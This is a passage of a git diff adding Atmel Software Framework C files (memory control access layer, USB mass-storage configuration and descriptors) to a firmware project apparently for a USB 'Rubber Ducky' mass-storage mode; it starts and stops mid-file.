contains the interfaces: + * - MEM <-> USB; + * - MEM <-> RAM; + * - MEM <-> MEM. + * + * This module may be configured and expanded to support the following features: + * - write-protected globals; + * - password-protected data; + * - specific features; + * - etc. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +//_____ I N C L U D E S ____________________________________________________ + +#include "compiler.h" +#include "preprocessor.h" +#ifdef FREERTOS_USED +#include "FreeRTOS.h" +#include "semphr.h" +#endif +#include "ctrl_access.h" + + +//_____ D E F I N I T I O N S ______________________________________________ + +#ifdef FREERTOS_USED + +/*! \name LUN Access Protection Macros + */ +//! @{ + +/*! \brief Locks accesses to LUNs. + * + * \return \c true if the access was successfully locked, else \c false. + */ +#define Ctrl_access_lock() ctrl_access_lock() + +/*! \brief Unlocks accesses to LUNs. + */ +#define Ctrl_access_unlock() xSemaphoreGive(ctrl_access_semphr) + +//! @} + +//! Handle to the semaphore protecting accesses to LUNs. +static xSemaphoreHandle ctrl_access_semphr = NULL; + +#else + +/*! \name LUN Access Protection Macros + */ +//! @{ + +/*! \brief Locks accesses to LUNs. + * + * \return \c true if the access was successfully locked, else \c false. + */ +#define Ctrl_access_lock() true + +/*! \brief Unlocks accesses to LUNs. + */ +#define Ctrl_access_unlock() + +//! @} + +#endif // FREERTOS_USED + + +#if MAX_LUN + +/*! \brief Initializes an entry of the LUN descriptor table. + * + * \param lun Logical Unit Number. + * + * \return LUN descriptor table entry initializer. + */ +#if ACCESS_USB == true && ACCESS_MEM_TO_RAM == true +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(Lun_, lun, _usb_read_10),\ + TPASTE3(Lun_, lun, _usb_write_10),\ + TPASTE3(Lun_, lun, _mem_2_ram),\ + TPASTE3(Lun_, lun, _ram_2_mem),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#elif ACCESS_USB == true +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(Lun_, lun, _usb_read_10),\ + TPASTE3(Lun_, lun, _usb_write_10),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#elif ACCESS_MEM_TO_RAM == true +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(Lun_, lun, _mem_2_ram),\ + TPASTE3(Lun_, lun, _ram_2_mem),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#else +#define Lun_desc_entry(lun) \ + {\ + TPASTE3(Lun_, lun, _test_unit_ready),\ + TPASTE3(Lun_, lun, _read_capacity),\ + TPASTE3(Lun_, lun, _wr_protect),\ + TPASTE3(Lun_, lun, _removal),\ + TPASTE3(LUN_, lun, _NAME)\ + } +#endif + +//! LUN descriptor table. +static const struct +{ + Ctrl_status (*test_unit_ready)(void); + Ctrl_status (*read_capacity)(U32 *); + bool (*wr_protect)(void); + bool (*removal)(void); +#if ACCESS_USB == true + Ctrl_status (*usb_read_10)(U32, U16); + Ctrl_status (*usb_write_10)(U32, U16); +#endif +#if ACCESS_MEM_TO_RAM == true + Ctrl_status (*mem_2_ram)(U32, void *); + Ctrl_status (*ram_2_mem)(U32, const void *); +#endif + const char *name; +} lun_desc[MAX_LUN] = +{ +#if LUN_0 == ENABLE + Lun_desc_entry(0), +#endif +#if LUN_1 == ENABLE + Lun_desc_entry(1), +#endif +#if LUN_2 == ENABLE + Lun_desc_entry(2), +#endif +#if LUN_3 == ENABLE + Lun_desc_entry(3), +#endif +#if LUN_4 == ENABLE + Lun_desc_entry(4), +#endif +#if LUN_5 == ENABLE + Lun_desc_entry(5), +#endif +#if LUN_6 == ENABLE + Lun_desc_entry(6), +#endif +#if LUN_7 == ENABLE + Lun_desc_entry(7) +#endif +}; + +#endif + + +#if GLOBAL_WR_PROTECT == true +bool g_wr_protect; +#endif + + +/*! \name Control Interface + */ +//! @{ + + +#ifdef FREERTOS_USED + +bool ctrl_access_init(void) +{ + // If the handle to the protecting semaphore is not valid, + if (!ctrl_access_semphr) + { + // try to create the semaphore. + vSemaphoreCreateBinary(ctrl_access_semphr); + + // If the semaphore could not be created, there is no backup solution. + if (!ctrl_access_semphr) return false; + } + + return true; +} + + +/*! \brief Locks accesses to LUNs. + * + * \return \c true if the access was successfully locked, else \c false. + */ +static bool ctrl_access_lock(void) +{ + // If the semaphore could not be created, there is no backup solution. + if (!ctrl_access_semphr) return false; + + // Wait for the semaphore. + while (!xSemaphoreTake(ctrl_access_semphr, portMAX_DELAY)); + + return true; +} + +#endif // FREERTOS_USED + + +U8 get_nb_lun(void) +{ +#if MEM_USB == ENABLE +# ifndef Lun_usb_get_lun +# define Lun_usb_get_lun() host_get_lun() +# endif + U8 nb_lun; + + if (!Ctrl_access_lock()) return MAX_LUN; + + nb_lun = MAX_LUN + Lun_usb_get_lun(); + + Ctrl_access_unlock(); + + return nb_lun; +#else + return MAX_LUN; +#endif +} + + +U8 get_cur_lun(void) +{ + return LUN_ID_0; +} + + +Ctrl_status mem_test_unit_ready(U8 lun) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].test_unit_ready() : +#endif +#if LUN_USB == ENABLE + Lun_usb_test_unit_ready(lun - LUN_ID_USB); +#else + CTRL_FAIL; +#endif + + Ctrl_access_unlock(); + + return status; +} + + +Ctrl_status mem_read_capacity(U8 lun, U32 *u32_nb_sector) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].read_capacity(u32_nb_sector) : +#endif +#if LUN_USB == ENABLE + Lun_usb_read_capacity(lun - LUN_ID_USB, u32_nb_sector); +#else + CTRL_FAIL; +#endif + + Ctrl_access_unlock(); + + return status; +} + + +U8 mem_sector_size(U8 lun) +{ + U8 sector_size; + + if (!Ctrl_access_lock()) return 0; + + sector_size = +#if MAX_LUN + (lun < MAX_LUN) ? 1 : +#endif +#if LUN_USB == ENABLE + Lun_usb_read_sector_size(lun - LUN_ID_USB); +#else + 0; +#endif + + Ctrl_access_unlock(); + + return sector_size; +} + + +bool mem_wr_protect(U8 lun) +{ + bool wr_protect; + + if (!Ctrl_access_lock()) return true; + + wr_protect = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].wr_protect() : +#endif +#if LUN_USB == ENABLE + Lun_usb_wr_protect(lun - LUN_ID_USB); +#else + true; +#endif + + Ctrl_access_unlock(); + + return wr_protect; +} + + +bool mem_removal(U8 lun) +{ + bool removal; + + if (!Ctrl_access_lock()) return true; + + removal = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].removal() : +#endif +#if LUN_USB == ENABLE + Lun_usb_removal(); +#else + true; +#endif + + Ctrl_access_unlock(); + + return removal; +} + + +const char *mem_name(U8 lun) +{ + return +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].name : +#endif +#if LUN_USB == ENABLE + LUN_USB_NAME; +#else + NULL; +#endif +} + + +//! @} + + +#if ACCESS_USB == true + +/*! \name MEM <-> USB Interface + */ +//! @{ + + +Ctrl_status memory_2_usb(U8 lun, U32 addr, U16 nb_sector) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_read_action(nb_sector); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].usb_read_10(addr, nb_sector) : +#endif + CTRL_FAIL; + memory_stop_read_action(); + + Ctrl_access_unlock(); + + return status; +} + + +Ctrl_status usb_2_memory(U8 lun, U32 addr, U16 nb_sector) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_write_action(nb_sector); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].usb_write_10(addr, nb_sector) : +#endif + CTRL_FAIL; + memory_stop_write_action(); + + Ctrl_access_unlock(); + + return status; +} + + +//! @} + +#endif // ACCESS_USB == true + + +#if ACCESS_MEM_TO_RAM == true + +/*! \name MEM <-> RAM Interface + */ +//! @{ + + +Ctrl_status memory_2_ram(U8 lun, U32 addr, void *ram) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_read_action(1); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].mem_2_ram(addr, ram) : +#endif +#if LUN_USB == ENABLE + Lun_usb_mem_2_ram(addr, ram); +#else + CTRL_FAIL; +#endif + memory_stop_read_action(); + + Ctrl_access_unlock(); + + return status; +} + + +Ctrl_status ram_2_memory(U8 lun, U32 addr, const void *ram) +{ + Ctrl_status status; + + if (!Ctrl_access_lock()) return CTRL_FAIL; + + memory_start_write_action(1); + status = +#if MAX_LUN + (lun < MAX_LUN) ? lun_desc[lun].ram_2_mem(addr, ram) : +#endif +#if LUN_USB == ENABLE + Lun_usb_ram_2_mem(addr, ram); +#else + CTRL_FAIL; +#endif + memory_stop_write_action(); + + Ctrl_access_unlock(); + + return status; +} + + +//! @} + +#endif // ACCESS_MEM_TO_RAM == true + + +#if ACCESS_STREAM == true + +/*! \name Streaming MEM <-> MEM Interface + */ +//! @{ + + + #if ACCESS_MEM_TO_MEM == true + +#include "fat.h" + +Ctrl_status stream_mem_to_mem(U8 src_lun, U32 src_addr, U8 dest_lun, U32 dest_addr, U16 nb_sector) +{ +#if (defined __GNUC__) && (defined __AVR32__) + __attribute__((__aligned__(4))) +#elif (defined __ICCAVR32__) + #pragma data_alignment = 4 +#endif + static U8 sector_buf[FS_512B]; + Ctrl_status status = CTRL_GOOD; + + while (nb_sector--) + { + if ((status = memory_2_ram(src_lun, src_addr++, sector_buf)) != CTRL_GOOD) break; + if ((status = ram_2_memory(dest_lun, dest_addr++, sector_buf)) != CTRL_GOOD) break; + } + + return status; +} + + #endif // ACCESS_MEM_TO_MEM == true + + +Ctrl_status stream_state(U8 id) +{ + return CTRL_GOOD; +} + + +U16 stream_stop(U8 id) +{ + return 0; +} + + +//! @} + +#endif // ACCESS_STREAM == true diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/storage/ctrl_access/ctrl_access.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/storage/ctrl_access/ctrl_access.h new file mode 100755 index 0000000..c4beaf7 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/storage/ctrl_access/ctrl_access.h @@ -0,0 +1,376 @@ +/***************************************************************************** + * + * \file + * + * \brief Abstraction layer for memory interfaces. + * + * This module contains the interfaces: + * - MEM <-> USB; + * - MEM <-> RAM; + * - MEM <-> MEM. + * + * This module may be configured and expanded to support the following features: + * - write-protected globals; + * - password-protected data; + * - specific features; + * - etc. + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + ******************************************************************************/ + + +#ifndef _CTRL_ACCESS_H_ +#define _CTRL_ACCESS_H_ + +/** + * \defgroup group_common_services_storage_ctrl_access Memory Control Access + * + * Common abstraction layer for memory interfaces. It provides interfaces between: + * Memory and USB, Memory and RAM, Memory and Memory. Common API for XMEGA and UC3. + * + * \{ + */ + +#include "compiler.h" +#include "conf_access.h" + + +//! Status returned by CTRL_ACCESS interfaces. +typedef enum +{ + CTRL_GOOD = PASS, //!< Success, memory ready. + CTRL_FAIL = FAIL, //!< An error occurred. + CTRL_NO_PRESENT = FAIL + 1, //!< Memory unplugged. + CTRL_BUSY = FAIL + 2 //!< Memory not initialized or changed. +} Ctrl_status; + + +// FYI: Each Logical Unit Number (LUN) corresponds to a memory. + +// Check LUN defines. +#ifndef LUN_0 + #error LUN_0 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_1 + #error LUN_1 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_2 + #error LUN_2 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_3 + #error LUN_3 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_4 + #error LUN_4 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_5 + #error LUN_5 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_6 + #error LUN_6 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_7 + #error LUN_7 must be defined as ENABLE or DISABLE in conf_access.h +#endif +#ifndef LUN_USB + #error LUN_USB must be defined as ENABLE or DISABLE in conf_access.h +#endif + +/*! \name LUN IDs + */ +//! @{ +#define LUN_ID_0 (0) //!< First static LUN. +#define LUN_ID_1 (LUN_ID_0 + LUN_0) +#define LUN_ID_2 (LUN_ID_1 + LUN_1) +#define LUN_ID_3 (LUN_ID_2 + LUN_2) +#define LUN_ID_4 (LUN_ID_3 + LUN_3) +#define LUN_ID_5 (LUN_ID_4 + LUN_4) +#define LUN_ID_6 (LUN_ID_5 + LUN_5) +#define LUN_ID_7 (LUN_ID_6 + LUN_6) +#define MAX_LUN (LUN_ID_7 + LUN_7) //!< Number of static LUNs. +#define LUN_ID_USB (MAX_LUN) //!< First dynamic LUN (USB host mass storage). +//! @} + + +// Include LUN header files. +#if LUN_0 == ENABLE + #include LUN_0_INCLUDE +#endif +#if LUN_1 == ENABLE + #include LUN_1_INCLUDE +#endif +#if LUN_2 == ENABLE + #include LUN_2_INCLUDE +#endif +#if LUN_3 == ENABLE + #include LUN_3_INCLUDE +#endif +#if LUN_4 == ENABLE + #include LUN_4_INCLUDE +#endif +#if LUN_5 == ENABLE + #include LUN_5_INCLUDE +#endif +#if LUN_6 == ENABLE + #include LUN_6_INCLUDE +#endif +#if LUN_7 == ENABLE + #include LUN_7_INCLUDE +#endif +#if LUN_USB == ENABLE + #include LUN_USB_INCLUDE +#endif + + +// Check the configuration of write protection in conf_access.h. +#ifndef GLOBAL_WR_PROTECT + #error GLOBAL_WR_PROTECT must be defined as true or false in conf_access.h +#endif + + +#if GLOBAL_WR_PROTECT == true + +//! Write protect. +extern bool g_wr_protect; + +#endif + + +/*! \name Control Interface + */ +//! @{ + +#ifdef FREERTOS_USED + +/*! \brief Initializes the LUN access locker. + * + * \return \c true if the locker was successfully initialized, else \c false. + */ +extern bool ctrl_access_init(void); + +#endif // FREERTOS_USED + +/*! \brief Returns the number of LUNs. + * + * \return Number of LUNs in the system. + */ +extern U8 get_nb_lun(void); + +/*! \brief Returns the current LUN. + * + * \return Current LUN. + * + * \todo Implement. + */ +extern U8 get_cur_lun(void); + +/*! \brief Tests the memory state and initializes the memory if required. + * + * The TEST UNIT READY SCSI primary command allows an application client to poll + * a LUN until it is ready without having to allocate memory for returned data. + * + * This command may be used to check the media status of LUNs with removable + * media. + * + * \param lun Logical Unit Number. + * + * \return Status. + */ +extern Ctrl_status mem_test_unit_ready(U8 lun); + +/*! \brief Returns the address of the last valid sector (512 bytes) in the + * memory. + * + * \param lun Logical Unit Number. + * \param u32_nb_sector Pointer to the address of the last valid sector. + * + * \return Status. + */ +extern Ctrl_status mem_read_capacity(U8 lun, U32 *u32_nb_sector); + +/*! \brief Returns the size of the physical sector. + * + * \param lun Logical Unit Number. + * + * \return Sector size (unit: 512 bytes). + */ +extern U8 mem_sector_size(U8 lun); + +/*! \brief Returns the write-protection state of the memory. + * + * \param lun Logical Unit Number. + * + * \return \c true if the memory is write-protected, else \c false. + * + * \note Only used by removable memories with hardware-specific write + * protection. + */ +extern bool mem_wr_protect(U8 lun); + +/*! \brief Tells whether the memory is removable. + * + * \param lun Logical Unit Number. + * + * \return \c true if the memory is removable, else \c false. + */ +extern bool mem_removal(U8 lun); + +/*! \brief Returns a pointer to the LUN name. + * + * \param lun Logical Unit Number. + * + * \return Pointer to the LUN name string. + */ +extern const char *mem_name(U8 lun); + +//! @} + + +#if ACCESS_USB == true + +/*! \name MEM <-> USB Interface + */ +//! @{ + +/*! \brief Transfers data from the memory to USB. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to read. + * \param nb_sector Number of sectors to transfer. + * + * \return Status. + */ +extern Ctrl_status memory_2_usb(U8 lun, U32 addr, U16 nb_sector); + +/*! \brief Transfers data from USB to the memory. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to write. + * \param nb_sector Number of sectors to transfer. + * + * \return Status. + */ +extern Ctrl_status usb_2_memory(U8 lun, U32 addr, U16 nb_sector); + +//! @} + +#endif // ACCESS_USB == true + + +#if ACCESS_MEM_TO_RAM == true + +/*! \name MEM <-> RAM Interface + */ +//! @{ + +/*! \brief Copies 1 data sector from the memory to RAM. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to read. + * \param ram Pointer to RAM buffer to write. + * + * \return Status. + */ +extern Ctrl_status memory_2_ram(U8 lun, U32 addr, void *ram); + +/*! \brief Copies 1 data sector from RAM to the memory. + * + * \param lun Logical Unit Number. + * \param addr Address of first memory sector to write. + * \param ram Pointer to RAM buffer to read. + * + * \return Status. + */ +extern Ctrl_status ram_2_memory(U8 lun, U32 addr, const void *ram); + +//! @} + +#endif // ACCESS_MEM_TO_RAM == true + + +#if ACCESS_STREAM == true + +/*! \name Streaming MEM <-> MEM Interface + */ +//! @{ + +//! Erroneous streaming data transfer ID. +#define ID_STREAM_ERR 0xFF + + #if ACCESS_MEM_TO_MEM == true + +/*! \brief Copies data from one memory to another. + * + * \param src_lun Source Logical Unit Number. + * \param src_addr Source address of first memory sector to read. + * \param dest_lun Destination Logical Unit Number. + * \param dest_addr Destination address of first memory sector to write. + * \param nb_sector Number of sectors to copy. + * + * \return Status. + */ +extern Ctrl_status stream_mem_to_mem(U8 src_lun, U32 src_addr, U8 dest_lun, U32 dest_addr, U16 nb_sector); + + #endif // ACCESS_MEM_TO_MEM == true + +/*! \brief Returns the state of a streaming data transfer. + * + * \param id Transfer ID. + * + * \return Status. + * + * \todo Implement. + */ +extern Ctrl_status stream_state(U8 id); + +/*! \brief Stops a streaming data transfer. + * + * \param id Transfer ID. + * + * \return Number of remaining sectors. + * + * \todo Implement. + */ +extern U16 stream_stop(U8 id); + +//! @} + +#endif // ACCESS_STREAM == true + +/** + * \} + */ + +#endif // _CTRL_ACCESS_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/device/udi_msc_conf.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/device/udi_msc_conf.h new file mode 100755 index 0000000..b4509d9 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/device/udi_msc_conf.h @@ -0,0 +1,75 @@ +/** + * \file + * + * \brief Default MSC configuration for a USB Device + * with a single interface MSC + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#ifndef _UDI_MSC_CONF_H_ +#define _UDI_MSC_CONF_H_ + +/** + * \ingroup udi_msc_group + * \defgroup udi_msc_group_conf Default MSC configuration for a USB Device + * with a single interface MSC + * + * @{ + */ + +//! Control endpoint size +#define USB_DEVICE_EP_CTRL_SIZE 64 + +//! Endpoint numbers used by MSC interface +#define UDI_MSC_EP_IN (1 | USB_EP_DIR_IN) +#define UDI_MSC_EP_OUT (2 | USB_EP_DIR_OUT) + +//! Interface number is 0 because it is the unique interface +#define UDI_MSC_IFACE_NUMBER 0 + +/** + * \name UDD Configuration + */ +//@{ +//! 2 endpoints used by MSC interface +#define USB_DEVICE_MAX_EP 2 +//@} + +//@} + +#include "udi_msc.h" + +#endif // _UDI_MSC_CONF_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/device/udi_msc_desc.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/device/udi_msc_desc.c new file mode 100755 index 0000000..79de344 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/usb/class/msc/device/udi_msc_desc.c @@ -0,0 +1,184 @@ +/** + * \file + * + * \brief Default descriptors for a USB Device with a single interface MSC + * + * Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ + +#include "conf_usb.h" +#include "udd.h" +#include "udc_desc.h" +#include "udi_msc.h" + + +/** + * \ingroup udi_msc_group + * \defgroup udi_msc_group_desc Default descriptors for a USB Device + * with a single interface MSC + * + * @{ + */ + +//! Only one interface for this device +#define USB_DEVICE_NB_INTERFACE 1 + +/**INDENT-OFF**/ + +//! USB Device Descriptor +UDC_DATA(4) +UDC_DESC_STORAGE usb_dev_desc_t udc_device_desc = { + .bLength = sizeof(usb_dev_desc_t), + .bDescriptorType = USB_DT_DEVICE, + .bcdUSB = LE16(USB_V2_0), + .bDeviceClass = 0, + .bDeviceSubClass = 0, + .bDeviceProtocol = 0, + .bMaxPacketSize0 = USB_DEVICE_EP_CTRL_SIZE, + .idVendor = LE16(USB_DEVICE_VENDOR_ID), + .idProduct = LE16(USB_DEVICE_PRODUCT_ID), + .bcdDevice = LE16((USB_DEVICE_MAJOR_VERSION << 8) + | USB_DEVICE_MINOR_VERSION), +#ifdef USB_DEVICE_MANUFACTURE_NAME + .iManufacturer = 1, +#else + .iManufacturer = 0, // No manufacture string +#endif +#ifdef USB_DEVICE_PRODUCT_NAME + .iProduct = 2, +#else + .iProduct = 0, // No product string +#endif +#ifdef USB_DEVICE_SERIAL_NAME + .iSerialNumber = 3, +#else + .iSerialNumber = 0, // No serial string +#endif + .bNumConfigurations = 1 +}; + + +#ifdef USB_DEVICE_HS_SUPPORT +//! USB Device Qualifier Descriptor for HS +UDC_DATA(4) +UDC_DESC_STORAGE usb_dev_qual_desc_t udc_device_qual = { + .bLength = sizeof(usb_dev_qual_desc_t), + .bDescriptorType = USB_DT_DEVICE_QUALIFIER, + .bcdUSB = LE16(USB_V2_0), + .bDeviceClass = 0, + .bDeviceSubClass = 0, + .bDeviceProtocol = 0, + .bMaxPacketSize0 = USB_DEVICE_EP_CTRL_SIZE, + .bNumConfigurations = 1 +}; +#endif + +//! Structure for USB Device Configuration Descriptor +COMPILER_PACK_SET(1); +typedef struct { + usb_conf_desc_t conf; + udi_msc_desc_t udi_msc; +} udc_desc_t; +COMPILER_PACK_RESET(); + +//! USB Device Configuration Descriptor filled for FS +UDC_DATA(4) +UDC_DESC_STORAGE udc_desc_t udc_desc_fs = { + .conf.bLength = sizeof(usb_conf_desc_t), + .conf.bDescriptorType = USB_DT_CONFIGURATION, + .conf.wTotalLength = LE16(sizeof(udc_desc_t)), + .conf.bNumInterfaces = USB_DEVICE_NB_INTERFACE, + .conf.bConfigurationValue = 1, + .conf.iConfiguration = 0, + .conf.bmAttributes = USB_CONFIG_ATTR_MUST_SET | USB_DEVICE_ATTR, + .conf.bMaxPower = USB_CONFIG_MAX_POWER(USB_DEVICE_POWER), + .udi_msc = UDI_MSC_DESC_FS, +}; + +#ifdef USB_DEVICE_HS_SUPPORT +//! USB Device Configuration Descriptor filled for HS +UDC_DATA(4) +UDC_DESC_STORAGE udc_desc_t udc_desc_hs = { + .conf.bLength = 